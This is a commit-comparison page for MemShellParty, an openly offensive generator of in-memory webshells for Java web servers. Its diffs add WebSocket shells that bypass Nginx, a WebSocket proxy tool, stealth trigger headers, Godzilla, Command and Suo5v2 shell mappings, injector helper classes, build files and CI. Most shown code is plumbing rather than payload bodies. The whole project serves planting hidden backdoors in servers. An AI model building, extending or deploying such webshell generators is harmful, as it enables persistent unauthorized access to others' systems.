Compare commits

...
51 Commits
Author SHA1 Message Date
ReaJason 0d3b56de63 chore: 2.6.0 2026-02-08 20:53:50 +08:00
ReaJason 995e0184ea docs: update CHANGELOG 2026-02-08 20:44:00 +08:00
ReaJason 2a4e82e9e1 chore: upgrade deps 2026-02-08 20:44:00 +08:00
ReaJason 713d24e336 Revert "test: vul-webapp failed in servlet 2.3"
This reverts commit 93971fc66c.
2026-02-08 20:44:00 +08:00
ReaJason 5ddbca566e feat: support resin2 agent shell 2026-02-08 20:44:00 +08:00
ReaJason 9213b9365e test: vul-webapp failed in servlet 2.3 2026-02-08 20:44:00 +08:00
ReaJason 96764e2a5a refactor: rm jsp generic syntax 2026-02-08 20:44:00 +08:00
ReaJason 5ea851c438 build: add publishAllToMavenLocal task 2026-02-08 20:44:00 +08:00
ReaJason 5f95748029 refactor: use Suo5V2Loader 2026-02-08 20:44:00 +08:00
zema1 f9522c1cb1 feat: sync suo5 v2.1.0 2026-02-08 20:44:00 +08:00
ReaJason d8fa51f317 refactor: simplify code 2026-02-08 20:44:00 +08:00
ReaJason 027987fcf2 feat: add postProcessBytes for ByteBuddyShellGenerator 2026-02-08 20:44:00 +08:00
ReaJason b40fc59668 fix: method body write failed with jakarta renamed
ByteBuddy Advice cache the class method list at first, the method signature will be changed when use jakarta rename, if follow advice need enhance the javax method, it will not find method signature. because ByteBuddy cached javax method, but follow advice need find the jakarta method, boom~
2026-02-08 20:44:00 +08:00
ReaJason ca26e37c21 chore: 2.5.1-SNAPSHOT 2026-02-08 20:44:00 +08:00
ReaJason 3fbf20cc70 fix(ui): prevent-duplicate-clicks not work 2026-02-08 20:44:00 +08:00
ReaJason c045121438 chore: upgrade deps 2026-02-08 20:44:00 +08:00
ReaJason f60d4108ad chore: 2.5.0 2026-01-19 00:28:52 +08:00
ReaJason fe5760409a test: skip tomcat7 ws 2026-01-19 00:18:15 +08:00
ReaJason 40632a7308 build: image not found 2026-01-18 23:52:39 +08:00
ReaJason b49bb89025 chore: upgrade deps 2026-01-18 23:49:41 +08:00
ReaJason 336d0b1f5a test: add empty component 2026-01-18 23:49:41 +08:00
ReaJason 5ec48e7d41 docs: update changelog 2026-01-18 23:49:41 +08:00
ReaJason 8ba200089a test: jetty6 start failed 2026-01-18 23:49:41 +08:00
ReaJason e38a91f720 test: jdk assert error 2026-01-18 23:49:41 +08:00
ReaJason 60edda0cec refactor: probe integration-test 2026-01-18 23:49:41 +08:00
ReaJason c5bfd3d92e test: probe not work 2026-01-18 23:49:41 +08:00
ReaJason 159f501179 fix: NPE 2026-01-18 23:49:41 +08:00
ReaJason ff6d1b6f9e fix: weblogic upload jsp failed 2026-01-18 23:49:41 +08:00
ReaJason 8402bd9d51 feat: add jsp unicode packer 2026-01-18 23:49:41 +08:00
ReaJason 7c126d8189 refactor: memshell integration-test 2026-01-18 23:49:41 +08:00
ReaJason 03c138206a test: skip proxy 2026-01-18 23:49:41 +08:00
ReaJason 8b1cf078f3 feat: support ws proxy 2026-01-18 23:49:41 +08:00
ReaJason 3e4c5e5b38 test: add filter 2026-01-18 23:49:41 +08:00
ReaJason b49ad1581f refactor: change godzilla websocket base64 to raw 2026-01-18 23:49:41 +08:00
ReaJason bf50918a99 docs: add some highlights 2026-01-18 23:49:41 +08:00
ReaJason be051d3147 feat: add proxy ws 2026-01-18 23:49:41 +08:00
ReaJason f780886f08 docs: add websocket usage 2026-01-18 23:49:41 +08:00
ReaJason b46959e059 refactor: rename test case 2026-01-18 23:49:41 +08:00
ReaJason 3e2d977562 feat: support Tomcat Command WebSocketBypassNginx 2026-01-18 23:49:41 +08:00
ReaJason b45efd8e1e refactor: rename asserts to assets 2026-01-18 23:49:41 +08:00
ReaJason ee9288debd refactor: change field location 2026-01-18 23:49:41 +08:00
ReaJason 1518432fde feat(ui): add targetJdkVersion field 2026-01-18 23:49:41 +08:00
ReaJason 302e8fbb8f refactor(ui): change serverVersion field localtion 2026-01-18 23:49:41 +08:00
ReaJason 4955c9d4a2 fix(ui): file input height error 2026-01-18 23:49:41 +08:00
ReaJason cf492e68ea refactor: optimize import 2026-01-18 23:49:41 +08:00
ReaJason 39eab10281 chore: 2.4.3-SNAPSHOT 2026-01-18 23:49:41 +08:00
ReaJason ba9c0be2a4 feat: add jakarta-api deps 2026-01-18 23:49:41 +08:00
ReaJason 23f310ca8a feat: shellConfig support set isJakarta field 2026-01-18 23:49:41 +08:00
ReaJason 9d9d33f612 build: autoRelease and validateComponents 2026-01-18 23:49:41 +08:00
ReaJason da1a5f70ef ci: update ci 2026-01-13 20:34:36 +08:00
ReaJason 69e8e20a6a ci: add test workflow 2026-01-13 20:29:05 +08:00
320 changed files with 7904 additions and 21063 deletions
@@ -0,0 +1,47 @@
name: Single IntegrationTest
on:
workflow_dispatch:
inputs:
depend_tasks:
description: '前置构建任务,如 :boot:jar :generator:jar'
required: false
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
type: string
test_class:
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
required: true
type: string
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
integration-test:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
if: ${{ inputs.depend_tasks != '' }}
run: ./gradlew ${{ inputs.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
+3 -3
View File
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH=""
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
WORKDIR /usr/src
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:17.0.15_6-jre-noble
FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>"
+4 -4
View File
@@ -25,10 +25,10 @@
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
<p align="center">
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="asserts/about_page.png" alt="about_page" width="24%">
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="assets/about_page.png" alt="about_page" width="24%">
</p>
## 主要特性

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 92 KiB

Before

Width:  |  Height:  |  Size: 136 KiB

After

Width:  |  Height:  |  Size: 136 KiB

Before

Width:  |  Height:  |  Size: 236 KiB

After

Width:  |  Height:  |  Size: 236 KiB

Before

Width:  |  Height:  |  Size: 268 KiB

After

Width:  |  Height:  |  Size: 268 KiB

+1 -1
View File
@@ -1,4 +1,4 @@
FROM eclipse-temurin:17.0.14_7-jre-noble
FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>"
@@ -51,6 +51,8 @@ public class MemShellGenerateRequest {
case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.paramName(shellToolConfig.getCommandParamName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.template(shellToolConfig.getCommandTemplate())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
@@ -75,6 +77,10 @@ public class MemShellGenerateRequest {
.shellClassBase64(shellToolConfig.getShellClassBase64())
.shellClassName(shellToolConfig.getShellClassName())
.build();
case Proxy -> ProxyConfig.builder()
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.shellClassName(shellToolConfig.shellClassName).build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
};
}
@@ -1,7 +1,7 @@
package com.reajason.javaweb.boot.entity;
import lombok.Data;
import lombok.Builder;
import lombok.Data;
/**
* @author ReaJason
@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
@@ -3,7 +3,7 @@ plugins {
}
mavenPublishing {
publishToMavenCentral()
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
signAllPublications()
coordinates(
"io.github.reajason",
+7 -1
View File
@@ -9,10 +9,16 @@ idea {
}
}
version = "2.4.2"
version = "2.6.0"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
dependsOn(":packer:publishToMavenCentral")
dependsOn(":generator:publishToMavenCentral")
}
tasks.register("publishAllToMavenLocal") {
dependsOn(":memshell-party-common:publishToMavenLocal")
dependsOn(":packer:publishToMavenLocal")
dependsOn(":generator:publishToMavenLocal")
}
+2 -2
View File
@@ -36,9 +36,9 @@ What you can learn or try from this project:
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../asserts/normal_generator.png)
![normal_generator](../assets/normal_generator.png)
![agent_generator](../asserts/agent_generator.png)
![agent_generator](../assets/agent_generator.png)
## Key Features
+2
View File
@@ -32,7 +32,9 @@ dependencies {
api(libs.byte.buddy)
implementation(libs.asm.commons)
implementation(libs.javax.websocket.api)
implementation(libs.jakarta.websocket.client.api)
implementation(libs.javax.servlet.api)
implementation(libs.jakarta.servlet.api)
implementation(libs.spring.webmvc)
implementation(libs.spring.webflux)
implementation(libs.reactor.netty.core)
@@ -5,6 +5,7 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
@@ -63,6 +64,11 @@ public class MemShellGenerator {
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes);
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
}
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
@@ -9,6 +9,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
import java.util.Collections;
import java.util.List;
@@ -60,6 +61,8 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
@@ -137,6 +140,8 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(UPGRADE, CommandUpgrade.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
@@ -235,6 +240,13 @@ public class ServerFactory {
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
.build());
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.build());
}
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
@@ -12,5 +12,6 @@ public class ShellTool {
public static final String Suo5v2 = "Suo5v2";
public static final String AntSword = "AntSword";
public static final String NeoreGeorg = "NeoreGeorg";
public static final String Proxy = "Proxy";
public static final String Custom = "Custom";
}
@@ -23,10 +23,11 @@ public class ShellToolFactory {
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
}
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
@@ -45,7 +45,9 @@ public class ShellType {
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
public static final String WEBSOCKET = "WebSocket";
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String ACTION = "Action";
}
@@ -22,6 +22,18 @@ public class CommandConfig extends ShellToolConfig {
@Builder.Default
private String paramName = CommonUtil.getRandomString(8);
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerName = "User-Agent";
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
/**
* 加密器
*/
@@ -48,6 +60,22 @@ public class CommandConfig extends ShellToolConfig {
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
@@ -16,37 +16,38 @@ import net.bytebuddy.dynamic.DynamicType;
@AllArgsConstructor
@Builder(toBuilder = true)
public class InjectorConfig {
/**
* 注入器 Builder
*/
DynamicType.Builder<?> injectorBuilder;
/**
* 内存马 Builder
*/
DynamicType.Builder<?> shellBuilder;
/**
* 注入器模板类
*/
private Class<?> injectorClass;
/**
* 注入器类名
*/
@Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 注入访问的地址
*/
@Builder.Default
private String urlPattern = "/*";
/**
* 内存马类名
*/
private String shellClassName;
/**
* 内存马类字节
*/
private byte[] shellClassBytes;
/**
* 辅助类字节码
*/
private byte[] helperClassBytes;
/**
* 添加静态代码块调用构造方法初始化
*/
@@ -0,0 +1,38 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class ProxyConfig extends ShellToolConfig {
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
}
@@ -73,12 +73,18 @@ public class ShellConfig {
@Builder.Default
private boolean lambdaSuffix = false;
/**
* 将 Java EE 转换为 Jakarta EE 类名
*/
@Builder.Default
private boolean jakarta = false;
public boolean isDebugOff() {
return !debug;
}
public boolean isJakarta() {
return shellType.startsWith(ShellType.JAKARTA);
return jakarta || shellType.startsWith(ShellType.JAKARTA);
}
public boolean needByPassJavaModule() {
@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
protected abstract DynamicType.Builder<?> getBuilder();
protected byte[] postProcessBytes(byte[] classBytes) {
return classBytes;
}
@Override
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
@@ -42,7 +46,8 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
byte[] bytes = postProcessBytes(unloaded.getBytes());
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
}
}
}
@@ -49,6 +49,12 @@ public class InjectorGenerator {
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
if (helperClassBytes != null) {
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
}
if (shellConfig.needByPassJavaModule()) {
builder = ByPassJavaModuleInterceptor.extend(builder);
}
@@ -17,11 +17,11 @@ public final class ProcessorRegistry {
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
new ListenerBuilderModifier(),
new ValveBuilderModifier(),
new JakartaBuilderModifier(),
new DebugOffBuilderModifier()
);
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
new JakartaPostProcessor(),
new JettyHandlerPostProcessor(),
new ShrinkPostProcessor()
);
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ProxyConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
super(shellConfig, shellToolConfig);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
}
}
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config;
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.binary.Base64;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/12
*/
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
super(shellConfig, suo5Config);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
.redefine(Suo5v2.class)
.name(CommonUtil.generateClassName())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.make()) {
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
}
}
}
@@ -0,0 +1,55 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.tuple.Pair;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2026/1/13
*/
public class WebSocketByPassHelperGenerator {
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
if (headerPair == null) {
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
}
if (Server.Tomcat.equals(shellConfig.getServer())) {
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
.redefine(TomcatWsBypassValve.class)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("headerName")).value(headerPair.getKey())
.field(named("headerValue")).value(headerPair.getValue())
.name(CommonUtil.generateClassName());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
}
}
return null;
}
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
if (shellToolConfig instanceof CommandConfig) {
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof GodzillaConfig) {
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof ProxyConfig) {
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
}
return null;
}
}
@@ -1,7 +1,6 @@
package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.io.InputStream;
@@ -1,22 +0,0 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
return builder;
}
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
public class JakartaPostProcessor implements Processor<byte[]> {
@Override
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
return ClassRenameUtils.relocateJakarta(input);
}
return input;
}
}
@@ -17,6 +17,7 @@ import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.implementation.StubMethod;
import net.bytebuddy.matcher.ElementMatchers;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -46,12 +47,9 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
TypeDescription typeDefinition, String newClassName) {
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
if (methods.filter(ElementMatchers.named("getResponseFromRequest")
.and(ElementMatchers.takesArguments(Object.class))
.and(ElementMatchers.returns(Object.class)))
.isEmpty()) {
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
" make sure arg and return type is Object.class");
if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
" the method body will be auto adapted for multi server");
} else {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance(
@@ -59,13 +57,11 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
}
if (methods.filter(named("getFieldValue")
.and(takesArguments(Object.class, String.class)))
.isEmpty()) {
if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.intercept(StubMethod.INSTANCE)
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
}
return builder;
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -121,10 +121,10 @@ public class JettyFilterInjector {
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
Object[] newMappings = null;
int length = Array.getLength(mappings);
if (mappings == null || length == 0) {
if (mappings == null || Array.getLength(mappings) == 0) {
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
} else {
int length = Array.getLength(mappings);
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
System.arraycopy(mappings, 0, newMappings, 1, length);
}
@@ -8,7 +8,10 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.util.EventListener;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -14,9 +14,11 @@ import java.util.zip.GZIPInputStream;
